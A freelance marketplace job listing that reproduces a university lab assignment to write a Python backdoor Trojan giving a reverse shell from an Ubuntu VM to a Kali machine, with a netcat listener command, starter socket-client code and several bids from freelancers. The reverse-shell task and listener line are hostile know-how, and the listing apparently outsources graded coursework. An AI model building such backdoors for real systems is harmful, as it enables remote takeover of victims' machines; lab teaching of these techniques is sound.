Find Jobs
Hire Freelancers

Python Coding (linux/ubuntu)

$50-70 AUD

Cancelled
Posted over 1 year ago

$50-70 AUD

Paid on delivery
Make Your Own Backdoor Trojan :- As a hacker, you want to create a backdoor Trojan, which will be delivered to the victim who is a Ubuntu user. If this backdoor is executed (on Ubuntu VM), the victim’s Ubuntu machine will connect to your Kali VM. Once you’ve got a connection, you can type any non-interactive Unix commands with options, which will be sent to the victim’s machine and executed there. In other words, you get a “reverse shell”. ( ) Your task is to write a Python program to implement this backdoor. (On Ubuntu, you will need to compile your Python program by entering “python3 <filename>.py”.) There are a few assumptions on your program: Note that "ls" and "pwd" are examples of non‐interactive commands while "cd (change directories)" or text editors such as "vi" and "gedit" are interactive ones. You are allowed to make your backdoor interactive commands usable, which could be considered favourably during marking. On your Kali machine, you (as a hacker) will run netcat to wait for incoming traffic. That is, you run nc ‐v ‐l ‐p 5555 on the terminal. (This means you don’t have to write a server program.) The backdoor Trojan is, then, a client Python program that will connect to your Kali machine waiting for the connection. This material is copyrighted. It must not be distributed without permission from Joonsang Baek c) As this is (going to be) malware, you do not need to consider the sanitization of the Linux commands. d) You should start with the following Python code, which is a client program based on Python socket package ([login to view URL] ). – The code given below just connects to the server, receives and displays a line of string which is inputted by the server's user. You should modify this code so that Linux commands you type will be sent to the victim’s Ubuntu machine, executed there, and the result will be sent back to your Kali machine). The connection should be continued until you enter the symbol ‘&’. Once this symbol is entered, the connection should be terminated. import socket kali_ip = "[login to view URL]" #This IP can be different on your virtual box s = [login to view URL](socket.AF_INET, socket.SOCK_STREAM) [login to view URL]((kali_ip, 5555)) [login to view URL]("Connected!\n".encode()) #encode() is needed to convert your string input to bytes to be transferred over the network received_data = [login to view URL](1024).decode() #decode() is needed to convert your byte result to string to be displayed print(received_data) [login to view URL]() Hint: Save the above code. On your kali machine, run the netcat (nc) command described above. On the Ubuntu machine, run the above code and see what happens. Submit your Python source code named “[login to view URL]” and [login to view URL] file that explains how to run your program. 2. Reverse shell for Linux:- In the series of our labs, we learnt how to create a reverse shell for a Windows machine. (We used msfvenom to generate a backdoor and exploit it using Metasploit, creating a reverse shell.) It is harder to create a reverse shell for Linux, but it is not impossible. Your task is to refer to the following web article and create a reverse shell for Ubuntu (Linux) VM. [login to view URL] trojan/ Once you are successful, take screenshots of the following events: 2
Project ID: 34933151

About the project

7 proposals
Remote project
Active 2 yrs ago

Looking to make some money?

Benefits of bidding on Freelancer

Set your budget and timeframe
Get paid for your work
Outline your proposal
It's free to sign up and bid on jobs
7 freelancers are bidding on average $76 AUD for this job
User Avatar
Hello, my name is Abhishek. I have gone through your outline item and this work fits within my expanse of skill. I would enjoy to come on board and start. I am available to begin right away. Relevant Skills and Experience - 14 years of experience in Python - 5 star rated freelancer with over 390 completed projects - Got Preferred Freelancer award. - Fast communication and deliver on time.
$70 AUD in 1 day
5.0 (250 reviews)
7.2
7.2
User Avatar
Hi, Are you there ? Just saw your project posted. I can do this as you want i checked the link as well. Work will be professional as you want. Let’s more discuss on this Which is required in the job description if anything still remains I am a quick learner and will learn quickly. I am more than happy to discuss the task and work for you. That would be greater if I get some tasks so you can test my skill and expertise. Waiting for your response and start working for you. Warm Regards, Asif Nawaz My portfolio: https://www.freelancer.com/u/Feriver
$50 AUD in 2 days
4.9 (22 reviews)
4.8
4.8
User Avatar
I am in cybersecurity for more than 3 years and Network Analysis and packet capturing is in my daily routine. I can do your work and I am familiar with the python and trojens and run those commands and do your work properly and can generate a proper report. You can consider me the best person for this work as I have all the knowledge you are looking for. I can do this work according to your satisfaction and can give you report in proper format. You can give me further details in message section. Looking forward to work for U
$70 AUD in 1 day
5.0 (11 reviews)
3.2
3.2
User Avatar
Hello, Thank you for your project. I've just checked your job description carefully. I'm senior developer with 6+ years of Python,Django and Flask. By using Python, I developed AI engine, BOT, Web Scraping Tools, Web Searching Tools and so on. Python is my major so you will be satisfied. I always find my happy and pleasant within client's mind whenever the they are satisfied. So I try harder and harder to develop the projects perfectly. If someone asks me about my happy and pleasant, I always will talk that when the clients are satisfied as I develop their projects excellently and perfectly, I am very happy. I would love to work with you. Please contact me via chat and let's discuss about your project. Let's chat and take a step forward to build your dream product. All the best
$60 AUD in 7 days
0.0 (0 reviews)
0.0
0.0
User Avatar
Hello there, I checked your post with title "Python Coding (linux/ubuntu)". I am familiar to python. I want to discuss your project in detail. Best Regards
$150 AUD in 5 days
0.0 (0 reviews)
2.4
2.4
User Avatar
Hi there, I have many project experiences with python, and I have more than 15+ years working experiences. I can do this task for you.
$70 AUD in 7 days
0.0 (0 reviews)
0.0
0.0

About the client

Flag of AUSTRALIA
RANDWICK, Australia
5.0
20
Member since Sep 19, 2019

Client Verification

Thanks! We’ve emailed you a link to claim your free credit.
Something went wrong while sending your email. Please try again.
Registered Users Total Jobs Posted
Freelancer ® is a registered Trademark of Freelancer Technology Pty Limited (ACN 142 189 759)
Copyright © 2024 Freelancer Technology Pty Limited (ACN 142 189 759)
Loading preview
Permission granted for Geolocation.
Your login session has expired and you have been logged out. Please log in again.